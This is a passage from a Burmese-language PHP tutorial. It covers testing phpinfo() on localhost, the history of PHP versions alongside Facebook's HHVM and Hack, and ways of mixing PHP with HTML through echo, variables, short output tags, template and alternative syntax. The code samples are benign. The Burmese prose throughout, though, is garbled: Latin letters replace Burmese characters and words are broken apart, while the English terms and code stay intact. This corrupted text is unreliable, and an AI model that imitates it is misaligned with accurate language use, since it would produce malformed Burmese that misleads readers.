ကိုdတာ့ .php လ့ုိ dပးရပါတယ်။ .html လ့ုိ dပးလုိ့မရပါzူး။ Web Server dတွက အများအားgoင့် oုိင်
Extension  .php goစ်မှ  အထဲက  PHP  ကုဒ်ကို  Run  dပးo့ုိ  Setting  လုပ်ထားeကလ့ုိပါ။ ဒီနည်းနဲ့  ရိုးရိုး
dရးထားတဲ့ Static HTML oုိင်နဲ့ PHP ကုဒ်dတွပါဝင်တဲ့ Dynamic HTML oုိင်ကို ခွဲeကတာပါ။

dရးထားတဲ့ကုဒ်ကို စမ်းo့ုိအတွက် ရိုးရိုး HTML dတွလုိ ဒီအတိုင်း Browser နဲ့တိုက်ရိုက် oွင့်eကည့်လ့ုိ မရပါ
zူး။ Web Server   ကိုဆက်သွယ်ပြပီးdတာ့ လုိချင်တဲ့oိုင်ကို dတာင်းယူရပါတယ်  ။ ဒီdတာ့မှ Web Server က
အထဲကကုဒ်dတွကို  Run  ပြပီး  ရလဒ်ကို  gပန်dပးမှာ  မ့ုိလ့ုိပါ။  Web Server  က လက်ရှိကွန်ပျူတာထဲမှာပဲ
ရိှdနတာမ့ုိလို့ အ့ဲဒီ Web Server ကို localhost ဆိုတဲ့ လိပ်စာကdန ဆက်သွယ်နိုင်ပါတယ်။ အကယ်၍
Web Server အလုပ်လုပ်dနတဲ့ Port နံပါတ်ကို dgပာင်းခဲ့မယ်ဆိုရင်dတာ့ Web Server ကိုဆက်သွယ်နိုင်o့ုိ
localhost  dနာက်မှာ  Port  နံပါတ်ကို  Colon  သdက[တနဲ့အတူ  ထည့်သွင်းdပးရမှာပါ။  ဒီသdzာကို
Development Environment တည်dဆာက်ပံု ဗီွဒီယုိသင်ခန်းစာထဲမှာ ထည့်သွင်းdoာ်gပထားပါတယ်။ 
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လက်dတွ့စမ်းeကည့်နိုင်o့ုိအတွက်  htdocs oုိဒါထဲမှာ  info.php ဆိုတဲ့အမည်နဲ့  oုိင်တစ်ခု
တည်dဆာက်ပြပီး ဒီကုဒ်ကို dရးသားdပးပါ။

 PHP 
<?php phpinfo() ?>

တစ်deကာင်းထဲပါ။ တgခားzာမှ ပါစရာမလိုပါzူး။  phpinfo() လ့ုိdခါ်တဲ့  Standard PHP Function
ကို dခါ်ယူထားတာgoစ်ပြပီး ဒီကုဒ်ကို စမ်းeကည့်လုိက်ရင် ရလဒ်အdနနဲ့  Install  လုပ်ထားတဲ့  PHP Version
အပါအဝင် Development Environment နဲ့ပက်သက်တဲ့ အချက်အလက်အgပည့်အစုံကို doာ်gပdပးမှာgoစ်
ပါတယ်။ Browser မှာ ဒီလိပ်စာနဲ့ စမ်းeကည့်နိုင်ပါတယ်။

- http://localhost/info.php

http://localhost/info.php
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Web Server လိပ်စာgoစ်တဲ့  localhost ရဲ့dနာက်မှာ dရးသားထားတဲ့ ကုဒ်oိုင်အမည်ကို dပးလုိက်တာ
ပါ။ အgပည့်အစုံက http://localhost/info.php ဆိုdပမယ့် dရှ့ ဆုံးက http:// သdက[တကို
ကိုယ်ထည့်မdပးရင်  Browser  က  သူ့zာသာ  ထည့်ပြပီး  အလုပ်လုပ်dပးသွားလ့ုိ  ထည့်မရိုက်လည်း  ရပါ
တယ်။ လက်dတွ့စမ်းeကည့်လုိက်ရင် ပြပီးခဲ့တဲ့စာမျက်နှာမှာ doာ်gပထားတဲ့ပံုလုိ ရလဒ်မျ ို းကို  dတွ့gမင်ရမှာ
goစ်ပါတယ်။

ဒါက ကုဒ်oိုင်ကို htdocs oုိဒါdအာက်မှာ တိုက်ရိုကd်ရးလုိက်တာပါ။ အကယ်၍ ကုဒ်oုိင်ကို htdocs ထဲ
မှာ app ဆိုတဲ့oုိဒါ တည်dဆာက်ပြပီးdတာ့မှ အထဲမှာ info.php ဆိုတဲ့အမည်နဲ့ dရးသားထားမယ်ဆိုရင်
Browser  မှာ  ထည့်သွင်းစမ်းသပ်ရမယ့်  လိပ်စာက  localhost/app/info.php goစ်ပါတယ်။  oုိင်
တည်dနရာကို oုိဒါနဲ့တစ်ကွ ထည့်သွင်းdပးရတာပါ။

အကယ်၍ dပးလုိက်တဲ့လိပ်စာက oုိင်အမည်မပါzဲ oုိဒါသက်သက် goစ်dနမယ်ဆိုရင်   Web Server   က အ့ဲဒီ  
oုိဒါထဲမှာ ရှိdနတဲ့ oုိင်စာရင်းကို gပန်dပးမှာပါ။ ဥပမာ - localhost/app/ ဆိရုင် app oုိဒါထဲမှာ ရှိdန
တဲ့  oုိင်စာရင်းကို  dတွ့ gမင်ရပါလိမ့်မယ်။  oုိဒါတစ်ခုရဲ့  Index  Page  (Home  Page)  သတ်မှတ်လုိရင်
index.php oုိင်ကို သံုးနိုင်ပါတယ်။ oုိဒါတစ်ခုရဲ့အတွင်းထဲမှာ index.php oုိင်ရှိdနမယ်ဆိုရင် လိပ်စာ
အdနနဲ့  oုိဒါကို  dပးလုိက်တဲ့အခါ အထဲကoုိင်စာရင်းကို  gပန်မdပးdတာ့zဲ  index.php ကို  အလုပ်လုပ်
dပးသွားမှာ goစ်ပါတယ်။ ဥပမာ app oုိဒါထဲမှာ index.php ရှိdနရင် localhost/app/ လိပ်စာကို
ထည့်သွင်းလုိက်တဲ့အခါ  dနာက်က oုိင်အမည်ကို  ထည့်dပးမထားdပမယ့်  index.php ကိုအလုပ်လုပ်
dပးသွားမှာ goစ်ပါတယ်။

ဒါဟာ ခက်ခဲလှတဲ့ သdzာzသာဝကြကီး မဟုတ်dပမယ့်၊ dလ့လာစမှာ မျက်စိလည်တတ်eကပါတယ်။ အခု
မှ PHP ကို ပထမဆုံး စတင်dလ့လာoူးသူဆိုရင် ဒီသdzာကို dကာင်းdကာင်း နားလည်သdzာdပါက်dစ
o့ုိအတွက်  လက်dတွ့  စမ်းသပ်eကည့်ပြပီးမှ  dရှ့ ဆက်သင့်ပါတယ်။  PHP  ကုဒ်  dရးပံုdရးနည်းdတွ  မdgပာရ
dသးdပမယ့်၊   ရိုးရိုး  HTML  Document  dတွကိုပဲ  .php Extension  နဲ့  htdocs oုိဒါထဲမှာသိမ်းပြပီး
localhost ကdနတစ်ဆင့် dခါ်ယူစမ်းသပ် eကည့်နိုင်ပါတယ်။
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PHP 8
ဒီစာdရးdနချနိ်မှာ  ထွက်ထားတဲ့  dနာက်ဆုံး  PHP  Version  ကdတာ့  PHP  8  goစ်ပါတယ်။  ဒါdeကာင့်
လက်ရှိပdရာZျက်dတွမှာ အများသုံးdနဆဲ PHP Version အခွဲ (၃) ခု ရှိdနပါတယ်။ PHP 5, PHP 7 နဲ့ PHP
8 တို့ goစ်ပါတယ်။ 

PHP 5 မှာ 5.5 နဲ့ 5.6 ထိရှိပါတယ်။ 5.5 ရဲ့ dရှ့ပုိင်း Version dတွကို အသံုးgပုသူ မရှိသdလာက် နည်းသွား
ပြပီ goစ်သလုိ  5.6  dနာက်ပုိင်း  Version  သစ် ထပ်မထွက်dတာ့ပါzူး။  PHP 6  လည်းမရှိပါzူး။ ထွင်dတာ့
ထွင်ခဲ့eကပါdသးတယ်။ အများသံုးoို့ မdeကညာနိုင်ခဲ့တာပါ။

PHP 6 ကို တီထွင်dနစဉ်မှာ PHP ကို လက်dတွ့ အသံုးgပုdနတဲ့ လုပ်ငန်းကြကီးdတွထဲမှာ အကြကီးဆုံးလ့ုိ dgပာ
ရမယ့် Facebook က HipHop လ့ုိdခါ်တဲ့ နည်းပညာတစ်မျ ို းကို တီထွင်ခဲ့ပါတယ်။ HipHop ဆိုတာ PHP
ကုဒ်ကို  C++  ကုဒ်goစ်dအာင်  dgပာင်းdပးနိုင်တဲ့  နည်းပညာပါ။  အ့ဲဒီအချနိ်တုံးက  C++  ဆိုတာ
Programming  Language  dတွထဲမှာ  C  ပြပီးရင်  ဒုတိယdgမာက်  အgမန်ဆုံးလ့ုိ  dgပာလ့ုိရနိုင်ပါတယ်။  ဒါ
deကာင့်  HipHop  ရဲ့အကူအညီနဲ့  PHP  ကုဒ်dတွကို  C++  dgပာင်း၊  Compile  လုပ်ပြပီးမှ အသံုးgပုတဲ့အခါ ပုိ
dကာင်းတဲ့ စွမ်းdဆာင်ရည်ကို ရdစနိုင်သွားတဲ့ သdzာပါ။ 

ပြပီးdတာ့  Facebook  က  HHVM (HipHop  Virtual  Machine)  လ့ုိdခါ်တဲ့  နည်းပညာတစ်မျ ို းကို  ထပ်မံ
တီထွင်ခဲ့gပန်ပါတယ်။ နည်းပညာက ကျယ်gပန့်dပမယ့် အနှစ်ချုပ်အားgoင့် ဒီလုိမှတ်နိုင်ပါတယ်။ ရိုးရိုး PHP
မှာ ကုဒ်dတွကို  Zend Engine လ့ုိdခါ်တဲ့ နည်းပညာတစ်မျ ို းနဲ့ တစ်ဆင့်ခံ  Run ပါတယ်။ HHVM ကdတာ့
ကုဒ်dတွကို  CPU က တိုက်ရိုက်နားလည်တဲ့  Machine Code dgပာင်းပြပီးdတာ့  Run ပါတယ်။ ဒါdeကာင့် ပုိ
gမန်ပါတယ်။ dရးထားတဲ့ PHP ကုဒ်ချင်းအတူတူ ရိုးရိုး PHP Interpreter နဲ့ Run တာထက် Facebook ရဲ့
HHVM နဲ့ Run တာက ပုိgမန်မယ်ဆိုတဲ့သdzာ goစ်သွားတာပါ။

- https://hhvm.com

ပြပီးdတာ့ Facebook က Hack လ့ုိ dခါ်တဲ့ PHP Compatible Programming Language တစ်ခုကို တီထွင်
ခဲ့ပါတယ်။ PHP နဲ့ dရးထံုးပုိင်းမကွာပဲ Scalar Type Hinting တို့ Return Type Hinting တို့လုိ goည့်စွက်မှု
တစ်ချ ို ့  ပုိမုိပါဝင်သွားတာပါ။  ဒီdရးထံုးdတွအdeကာင်းကို  သ့ူdနရာနဲ့သူ  ဆက်လက်doာ်gပသွားမှာပါ။

https://hhvm.com/
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Loosely  Typed  Language  တစ်ခုgoစ်တဲ့  PHP  ဟာ  အgခားdသာ  Loosely  Typed  Language  များ
အားလံုးနည်းတူ dရးရတာလွယ်ကူgမန်ဆန်dပမယ့် dစာdစာစီးစီး မသိလိုက်zဲ dနာက်မှdပါ်တဲ့  Runtime
Error dတွ များတတ်တဲ့ အားနည်းချက် ရှိdနပါတယ်။ ဒါကို  Hack က Type Hinting နည်းစနစ်dတွ ထပ်
goည့်ပြပီးdတာ့ ကုစားdပးလုိက်လ့ုိ ပုိပြပီးdတာ့ အရည်အdသွးdကာင်းတဲ့ ကုဒ်ကို ရသွားdစနိုင်တဲ့သdzာပါ။

- https://hacklang.org

ဒီ အသစ်တီထွင်မှုdတွက လုပ်လက်စ PHP 6  ထက် အလားအလာ ပုိdကာင်းdနတာ တစ်dန့တgခား ပုိမို
ထင်ရှားလာတဲ့အတွက် PHP ကို စီမံdနeကသူdတွက PHP 6 ထွင်dနတာကို ရပ်လုိက်ပြပီး HHVM တို့ Hack
တို့ကို နမူနာယူထားတဲ့  PHP 7 ကို ဆက်လက်တီထွင်ခဲ့eကပါတယ်။ ဒါdeကာင့် PHP 6 ဆိုတာ ထွက်မလာ
လုိက်zဲ  PHP 7 ကို တစ်ဆင့်dကျာ် dရာက်ရှိသွားတာပါ။ လက်ရှိ ဒီစာdရးdနချနိ်မှာ  PHP 7.0 ကdန 7.4
ထိ ထွက်ထားပါတယ်။ 

PHP 7  ကdတာ့ အတွင်းပိုင်း အလုပ်လုပ်ပံု အdgပာင်းအလဲdတွနဲ့အတူ စွမ်းdဆာင်ရည်မှာ  PHP 5  ထက်
နှစ်ဆနီးပါး ပုိgမန်တဲ့ ရလဒ်dကာင်းdတွကို ရသွားပါတယ်။ dရးထံုးပိုင်းမှာ Backward Compatible dတာ့
အgပည့်အဝ မgoစ်ပါzူး။ ဆိုလုိတာက PHP 5 နဲ့dရးထားတဲ့ ပdရာZျက်ကို PHP 7 နဲ့ Run လ့ုိ အgပည့်အဝ
အဆင်dgပမှာ မဟုတ်ပါzူး။ ဒါdပမယ့် dလ့လာမှု ရှုdထာင့်က eကည့်ရင်dတာ့ PHP 5 ကိုdလ့လာထားမိလ့ုိ
PHP 7 ကို အသစ်အစအဆုံး gပန်dလ့လာရတယ်ဆိုတာမျ ို းdတာ့ ရှိမှာ မဟုတ်ပါzူး။ အလားတူပဲ PHP 8
goစ်သွားလ့ုိ အသစ်gပန်dလ့လာစရာလည်း မလုိပါzူး။ dရးထုံးdတွက အများအားgoင့် တူညီeကပါတယ်။ မ
တdူတာ့ပဲ ကွဲgပားသွားတဲ့ အပုိင်းdလးdတွdလာက်ကို dရးွချယ်မှတ်သားလုိက်ရင် ရသွားပါပြပီ။ ဒီလုိကွဲgပား
သွားတာdလးdတွကို သ့ူdနရာနဲ့သူ ထည့်သွင်းdoာ်gပdပးသွားမှာပါ။ 

လက်ရှိဒီစာdရးdနချနိ်ထိ PHP 8 မှာ 8.0 ပဲ ထွက်ထားပါdသးတယ်။

PHP 8 မှာdတာ့ JIT လ့ုိdခါ်တဲ့ နည်းပညာတစ်မျ ို း goည့်စွက်ပါဝင်လာပါတယ်။ စမ်းသပ်မှုdတွအရ တစ်ချ ို ့
အချနိ်ယူအလုပ်လုပ်ရတဲ့  လုပ်ငန်းdတွမှာ  PHP 7  ထက်  (၁)  ဆခွဲ  ကdန  (၂)  ဆထိ ပုိgမန်သွားပြပီး၊  စွမ်း
dဆာင်ရည်တိုင်းတာo့ုိ သက်သက် ရည်ရွယ်ထားတဲ့  Benchmark  dတွမှာdတာ့  (၃)  ဆdလာက်ထိ ပုိgမန်
တယ်ဆိုတာကို dတွ့ရပါတယ်။ ဒါdပမယ့် လက်ရှိ ရှိdနတဲ့ ပdရာZျက်dတွမှာ စမ်းသပ်တဲ့အခါ PHP 7.4 နဲ့

https://hacklang.org/
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စွမ်းdဆာင်ရည် မတိမ်းမယိမ်းသာ ရှိတယ်ဆိုတာကို  dတရွှိထားလို့  ဒါကိုလည်း သတိgပုသင့်ပါတယ်။  JIT
ကdပးတဲ့  အားသာချက်ကို  ရယူနိုင်တဲ့  ပdရာZျက်  အမျ ို းအစားdတွ  ရိှနိုင်သလုိ၊  မရနိုင်တဲ့  ပdရာZျက်
အမျ ို းအစားdတွလည်း ရှိနိုင်ပါတယ်။

JIT  ဆိုတာ  Just  In  Time  Compilation  ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  ပံုမှန်အားgoင့်  PHP  ဟာ  Interpreted
Language goစ်ပါတယ်။ dရးထားတဲ့ကုဒ်ကို တိုက်ရိုက် zာသာgပန်gခင်းအားgoင့် အလုပ်လုပ်ပါတယ်။ JIT
နည်းပညာကdတာ့  ထပ်ခါထပ်ခါ  Run  ရတဲ့ကုဒ်dတွကို  Compile  လုပ်ထားgခင်းအားgoင့်  ထပ်ခါထပ်ခါ
တိုက်ရိုက်zာသာgပန်စရာ မလုိdတာ့လ့ုိ  ပုိgမန်သွားတဲ့  သdzာမျ ို းပါ။  တစ်ကယ်  Compiled Language
dတွမှာကို  ကြကိုတင်  Compiled  လုပ်ပြပီးမှ  အလုပ်လုပ်တာမျ ို းdတာ့  မဟုတ်ပါzူး။  တိုက်ရိုက်zာသာgပန်
စနစ်ကိုပဲ  ဆက်သံုးပါတယ်။  Interpreter    က အကြကိမ်ကြကိမ်လုပ်ရတဲ့  ကုဒ်dတွ  ရိှလာရင်    Compile    လုပ်  
သိမ်းထားပြပီး gပန်သံုးdပးလုိက်တဲ့သdzာပါ။ 

Facebook  ရဲ့  HHVM  မှာလည်း  JIT  နည်းပညာ ပါဝင်ပါတယ်။ ဒါdပမယ့်  PHP 7  ထွက်လာပြပီးdနာက်
HHVM တို့  Hack တို့dပါ်မှာ လူdတွရဲ့ စိတ်ဝင်စားမှု dလျာ့ကျသွားပါတယ်။ ပင်မ PHP မှာလည်း တူညီတဲ့
လုပ်dဆာင်ချက်နဲ့  တူညီတဲ့စွမ်းdဆာင်ရည်ကို  ရသွားပြပီမ့ုိလ့ုိပါ။  Benchmark  တိုင်းတာမှုdတွအရ  နည်း
နည်းdတာင် ပုိသာdသးတယ်လ့ုိ ဆိုနိုင်ပါတယ်။ အခုဆိုရင်  HHVM  က ရိုးရိုး  PHP  ကိုလည်း  Support  မ
လုပ်dတာ့ပါzူး။ Hack တစ်မျ ို းထဲကိုသာ Support လုပ်ပါdတာ့တယ်။

ဒီစာအုပ်မှာ  ကုဒ်နမူနာdတွdoာ်gပတဲ့အခါ  PHP 8  ကို  အဓိကထားအသံုးgပုသွားမှာ  goစ်dပမယ့်၊  တစ်ချ ို ့
PHP 8 သီးသန့်လုပ်dဆာင်ချက်dတွက လဲွရင် အများအားgoင့် PHP 5 တို့ PHP 7 တို့နဲ့ စမ်းeကည့်ရင်လည်း
အဆင်dgပမှာပါ။  သက်ဆိုင်ရာကုဒ်နဲ့အတူ  စမ်းလို့ရမယ့်  PHP  Version  ကိုတွဲgပdပးမှာမ့ုိလ့ုိ  gပထားတဲ့
Version နံပါတ်ကိုdတာ့ သတိgပုdပးပါ။ 

ကုဒ်နမူနာdတွမှာ PHP လ့ုိdခါင်းစဉ်တပ်dပးထားရင် Version အားလံုးနဲ့ အဆင်dgပတယ်ဆို့ အဓိပ္ပါယ်ပါ။
PHP 7 (သ့ုိမဟုတ်) PHP 8 လ့ုိ dခါင်းစဉ်တပ်ထားရင်dတာ့ သက်ဆိုင်ရာ Version နဲ့သာ အဆင်dgပတဲ့ကုဒ်
ကို ဆိုလုိgခင်းပဲ goစ်ပါတယ်။
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HTML Document ထဲမှာ PHP ကုဒ်dတွကို HTML Element dတွနဲ့  အခုလုိ တွဲoက်ပြပီး dရးနိုင်ပါတယ်။

 PHP 
<h1>Home Page</h1>
<p>
    Total: <?php echo 1 + 2 ?>
</p>

<?php အoွင့်နဲ့ ?> အပိတ်eကားထဲမှာ PHP ကုဒ်dတွကို dရးdပးရတာပါ။ နမူနာအရ 1 နဲ့ 2 ကိုdပါင်းပြပီး
doာ်gပခိုင်းလုိက်တဲ့  Statement  တစ်ခုကို  dရးသားထားတာပါ။  ဒီdနရာမှာ  echo Keyword  က
အdရးကြကီးပါတယ်။ ရလဒ်dတွကို    Output   အdနနဲ့ ထုတ်ပြပီး doာ်gပdစလုိတဲ့အခါ   echo     နဲ့ doာ်gပခိုင်းရပါ  
တယ်။ ဒီကုဒ်ကိုအလုပ်လုပ်လိုက်ရင် gပန်ရမယ့် ရလဒ်က အခုလုိgoစ်မှာပါ။

 Output 
<h1>Home Page</h1>
<p>
    Total: 3
</p>

PHP က ထုတ်dပးလုိက်တာက HTML Output goစ်ပြပီး အ့ဲဒီ  HTML Output ကို  Browser က dနာက်ဆုံး
ရလဒ်အdနနဲ့ gပdပးတယ်ဆိုတာကို သတိgပုပါ။ ဒါdeကာင့် စမ်းeကည့်ရင် dတွ့ gမင်ရမှာက dနာက်ဆုံးရလဒ်
goစ်ပြပီး၊ PHP က ထုတ်dပးလုိက်တဲ့ HTML Output အgပည့်အစုံကိုသိချင်ရင် Browser ရဲ့ View Source ကို
အသံုးgပုနိုင်ပါတယ်။ 
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Output  ထုတ်doာ်gပdစo့ုိအတွက်  print Keyword  လည်း ရိှပါdသးတယ်။  echo အစား  print ကို
သံုးလို့ ရနိုင်ပါတယ်။ ဒါdပမယ့် echo က နည်းနည်းပုိgမန်တဲ့အတွက် print ကို မသံုးသdလာက် နည်း
ပြပီး echo ကိုပဲ သံုးeကပါတယ်။ 

အကယ်၍ ကုဒ်dတွက တစ်လုိင်းထက်  ပုိတယ်ဆိုရင်  ခွဲdရးလ့ုိရပါတယ်။  တစ်လုိင်းထက်  ပုိလာပြပီဆိုရင်
dတာ့  Statement  တစ်ခုပြပီးတိုင်း  Semicolon  နဲ့ပိတ်dပးရပါတယ်။  မပိတ်မdနရ  ပိတ်dပးရတာပါ။
Semicolon မပါရင် အလုပ်မလုပ်dတာ့ပါzူး။ ဒီလုိပါ။

 PHP 
<h1>Home Page</h1>
<p>
    Total: 
    <?php 
        $num1 = 3;
        $num2 = 5;
        echo $num1 + $num2;
    ?>
</p>
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နမူနာမှာ  $num1 လ့ုိdခါ်တဲ့  Variable  တစ်ခုနဲ့  $num2 လ့ုိdခါ်တဲ့  Variable  တစ်ခတုို့ကို  deကညာလုိက်
တာပါ။ တစ်လက်စတည်း  Variable  အdeကာင်းကိုပါ တဲွeကည့်eကပါမယ်။  PHP  မှာ  Variable  deကညာo့ုိ
var တို့  let တို့လုိ  Keyword  dတွ သံုးစရာမလုိပါzူး။ ဒါdပမယ့် ခြွခင်းချက်အdနနဲ့  PHP Variable    မှန်  
သမျှ   $   သdက[တနဲ့ စdပးရပါတယ်  ။ မgoစ်မdန စdပးရမှာပါ။ နမူနာအရ Variable နှစ်ခုdeကညာပြပီး dပါင်း
gခင်းရလဒ်ကို doာ်gပခိုင်းလုိက်တာပါ။

ကုဒ်dတွကို တစ်dနရာထဲမှာ စုdရးတာမျ ို း မဟုတ်zဲ လုိအပ်ရင် နှစ်dနရာ သံုးdနရာလည်း ခွdဲရးလို့ ရပါ
dသးတယ်။ ဒီလုိပါ။

 PHP 
<h1>Home Page</h1>
<?php
    $num1 = 3;
    $num2 = 5;
?>
<p>
    Total: <?php echo $num1 + $num2 ?>
</p>

ဒီတစ်ခါ Variable deကညာတဲ့ကုဒ်dတွကို သပ်သပ်dရးပြပီး၊ dပါင်းgခင်းရလဒ် doာ်gပdစတဲ့ကုဒ်ကို သပ်သပ်
dရးထားပါတယ်။ ရလဒ်က အတူတူပဲ goစ်မှာပါ။ PHP မှာ ရလဒ်dတွကို doာ်gပdစo့ုိ သံုးရတဲ့ အတိုdကာက်
dရးနည်းတစ်ခု ရှိပါdသးတယ်။ ဒီလုိပါ။

 PHP 
<h1>Home Page</h1>
<?php
    $num1 = 3;
    $num2 = 5;
?>
<p>
    Total: <?= $num1 + $num2 ?>
</p>

<?= အoွင့်နဲ့ ?> အပိတ်ကို သံုးလုိက်တာပါ။ Output Tag လ့ုိ dခါ်နိုင်ပါတယ်။ ဒီ Output Tag ကိုသုံးရင်
echo Keyword  ထည့်စရာ မလိုdတာ့ပါzူး။  ရလဒ်ကို  တစ်ခါထဲ doာ်gပdပးလိုက်မှာ မ့ုိလ့ုိပါ။  PHP  မှာ
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ရိုးရိုးအတိုdကာက်  Short Opening Tag ဆိုတာ ရှိပါdသးတယ်။ <? အoွင့်နဲ့ ?> အပိတ်ကို သံုးရတာပါ။
ဒါdပမယ့် မသံုးသင့်တဲ့dရးထံုးအgoစ် သတ်မှတ်ထားeကလ့ုိ သူ့အdeကာင်းကို အကျယ်မချဲ့dတာ့ ပါzူး။ dရး
နည်း ရိှမှန်းသိdအာင်သာ ထည့်dgပာလုိက်တာပါ။ dနာက်တစ်နည်းအdနနဲ့ PHP နဲ့ HTML ကို ခွ ပြပီးdရးလ့ုိ
လည်း ရပါdသးတယ်။ ဒီကုဒ်ကိုdလ့လာeကည့်ပါ။

 PHP 
<h1>Home Page</h1>
<?php $hour = date('h') ?>
<p>
    <?php
        if($hour < 6 || $hour > 18) {
            echo "<b>Night Time</b>";
        } else {
            echo "<i>Day Time</i>";
        }
    ?>
</p>

နမူနာအရ  PHP  date() Function  ရဲ့အကူအညီနဲ့  လက်ရှိအချနိ်နာရီကို  ယူထားပါတယ်။ မနက်  (၆)
နာရီထက် ငယ်မယ်  (သ့ုိမဟုတ်)  ညdန (၆)  နာရီထက် ကြကီးမယ်ဆိုရင်  <b>Night Time</b> ဆိုတဲ့
ရလဒ်ကို  doာ်gပdစပြပီး၊  မဟုတ်ရင်dတာ့  <i>Day  Time</i> ကိုdoာ်gပdစတာပါ။  ဒီလုိမျ ို း  PHP
Output ထဲမှာ HTML Element dတွကို လုိအပ်ရင် ထည့်သုံးeကပါတယ်။ စမ်းeကည့်တဲ့အချနိ်dပါ်မူတည်ပြပီး
ရလဒ်က ဒီနှစ်မျ ို းထဲက တစ်မျ ို းgoစ်မှာပါ။

 Output 
<h1>Home Page</h1>
<p>
    <b>Night Time</b>
</p>

 Output 
<h1>Home Page</h1>
<p>
    <i>Day Time</i>
</p>
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အ့ဲဒီကုဒ်ကိုပဲ dနာကတ်စ်မျ ို း dရးလ့ုိရပါdသးတယ်။

 PHP 
<h1>Home Page</h1>
<?php $hour = date('h') ?>
<p>
    <?php if($hour < 6 || $hour > 18) { ?>
        <b>Night Time</b>
    <?php } else { ?>
         <i>Day Time</i>
    <?php } ?>
</p>

နမူနာမှာ  if Statement  ရဲ့  Condition  မှန်မှ  doာ်gပdစလ့ုိတဲ့  HTML  ကုဒ်dတွကို၊  if Statement  ရဲ့
အoွင့်နဲ့အပိတ်eကားထဲမှာ  ရိုးရိုး    HTML   အdနနဲ့ပဲ   သီးgခားdရးထားတာကို dတွ့ ရနိုင်ပါတယ်။ ဒါdeကာင့် ဒီ
HTML dတွဟာ if Condition မှန်dတာ့မှသာ အလုပ်လုပ်မယ့်  HTML ကုဒ်dတွgoစ်သွားပါတယ်။  else
Statement အတွက်လည်း အလားတူပဲ dရးထားတာကို dတွ့ရမှာပါ။ ရလဒ်က dစာdစာကdရးခဲ့တဲ့ ကုဒ်
နဲ့ တူညီတဲ့ ရလဒ်ကိုပဲ ရမှာပါ။ ဒါdပမယ့် ဒီdရးနည်းရဲ့ အားသာချက်ကdတာ့ dစာdစာကလုိ HTML dတွ
ကို  PHP  ထဲမှာ dရးdရာစရာ မလုိdတာ့zဲ သီးgခား  HTML  အdနနဲ့ပဲ dရးလ့ုိရသွားတဲ့အတွက် dရးသားရ
တာပုိမုိ အဆင်dgပgခင်းပဲ goစ်ပါတယ်။

ဒီdရးနည်းကိုdတာ့ Template dရးထုံးလို့ dခါ်ပါတယ်။ အလွန်အသံုးဝင်ပါတယ်။ 

တစ်ကယ်dတာ့  ဒီလုိ  Template  dရးထံုးကို  အသံုးgပုနိုင်o့ုိအတွက်  တgခား  Language  dတွမှာဆိုရင်
သီးgခား Template Library ရဲ့အကူအညီနဲ့မှ dရးလုိ့ရမှာပါ။  PHP မှာလည်း  Smarty, Twig, Blade စတဲ့
အမည်dတွနဲ့  Template  Library  dတွ  ရှိdနdပမယ့်  အ့ဲဒီ  Template  Library  dတွ  တစ်ခုမှမသံုးzဲ
Language သက်သက်နဲ့လည်း အခုလို Template ပံုစံ dရးလ့ုိရနိုင်gခင်းပဲ goစ်ပါတယ်။ Template dရးထံုး
ပုိမုိကျစ်လစ် သပ်ရပ်dစoုိ့အတွက် dစာdစာက ကုဒ်ကို အခုလုိလည်း gပင်dရးလို့ ရပါdသးတယ်။
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 PHP 
<h1>Home Page</h1>
<?php $hour = date('h') ?>
<p>
    <?php if($hour < 6 || $hour > 18): ?>
        <b>Night Time</b>
    <?php else: ?>
         <i>Day Time</i>
    <?php endif ?>
</p>

ဒီdရးနည်းကိုdတာ့  Alternative  Syntax  လ့ုိdခါ်ပါတယ်။  တွန့်ကွင်းအoွင့်အပိတ်dတွ  မပါdတာ့တာပါ။
တွန့်ကွင်းအoွင့်အစား  Full  Colon  သdက[တdလးကို  သံုးလိုက်ပြပီး  dနာက်ဆုံး  တွန့်ကွင်းအပိတ်dနရာမှာ
endif နဲ့  ပိတ်dပးလိုက်တာပါ။ တွန့်ကွင်းအoွင့်အပိတ်dတွက ရိုးရိုး  PHP  ကုဒ်ထဲမှာ အဆင်dgပdပမယ့်
အခုလုိ  HTML  နဲ့  dရာdရးတဲ့အခါ  dရးရတာdရာ  oတ်ရတာပါ  ခက်dစပါတယ်။  ဒါdeကာင့်  အခုလုိ
Alternative  Syntax  နဲ့  dရးလုိက်တဲ့အတွက်  dရးရတာ ပုိအဆင်dgပသွားသလုိ၊  oတ်ရတာလည်း  ပုိရှင်း
သွားမှာ goစ်ပါတယ်။ ဒီdရးနည်းကို  while, for နဲ့  switch Statement dတွမှာလည်း အသုံးgပုနိုင်
ပါတယ်။  Array  dတွကို  Loop  ပါတ်oုိ့  သံုးရတဲ့   foreach Statement  မှာလည်း အသံုးgပုနိုင်ပါတယ်။
dရးနည်းကိုdတာ့ သ့ူdနရာနဲ့သူ dရာက်လာတဲ့အခါ ဆက်eကည့်eကပါမယ်။

ဒီလုိ  HTML  dတွနဲ့  dရာမdရးzဲ  PHP  ကုဒ်ချည်းပဲ သီးသန့်dရးလ့ုိလည်း ရပါတယ်။ dရးလည်း dရးရပါ
တယ်။ ဒီလုိdရးတဲ့အခါ သတိgပုစရာdလးတစ်ခရုှိပါတယ်။ PHP ကုဒ်dတွကို  <?php အoွင့် ?> အပိတ်နဲ့
dရးရတယ်ဆိုdပမယ့် HTML Element   dတွ လံုးဝမပါzဲ    PHP   ချည်းသက်သက် dရးတဲ့အခါ အပိတ်ကို မ  
ထည့်zဲ dရးလ့ုိရပါတယ်။ မထည့်zဲ dရးeကပါတယ်။ အoွင့်ကdတာ့ မထည့်လ့ုိ မရပါzူး။ ဒီအoွင့်မပါရင်
PHP  ကုဒ်အdနနဲ့  အလုပ်လုပ်မှာ  မဟုတ်လ့ုိ  မgoစ်မdန ထည့်dပးရပါတယ်။ ဥပမာ  -  ဒီနှစ်ခုဟာ ရလဒ်
အတူတူပါပဲ။
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 PHP 
<?php
$num1 = 3;
$num2 = 5;
echo $num1 + $num2;
?>

 PHP 
<?php
$num1 = 3;
$num2 = 5;
echo $num1 + $num2;

အdပါ်က နမူနာမှာ အပိတ်ပါပြပီး၊ dအာက်ကနမူနာမှာ အပိတ်မထည့်dတာ့တာပါ။ zာdeကာင့် အပိတ်ကို
မထည့်zဲ dရးeကသလဲဆိုdတာ့၊ ဒီလုိ PHP ချည်းပဲ သီးသန့်dရးထားတဲ့ကုဒ်dတွဟာ Module တစ်ခုကဲ့သ့ုိ
တgခားdနရာကdန  ချတိ်ဆက်dခါ်ယူပြပီး  အသံုးgပုeကမယ့်  ကုဒ်dတွများပါတယ်။  အပိတ်ထည့်ထားမိရင်၊
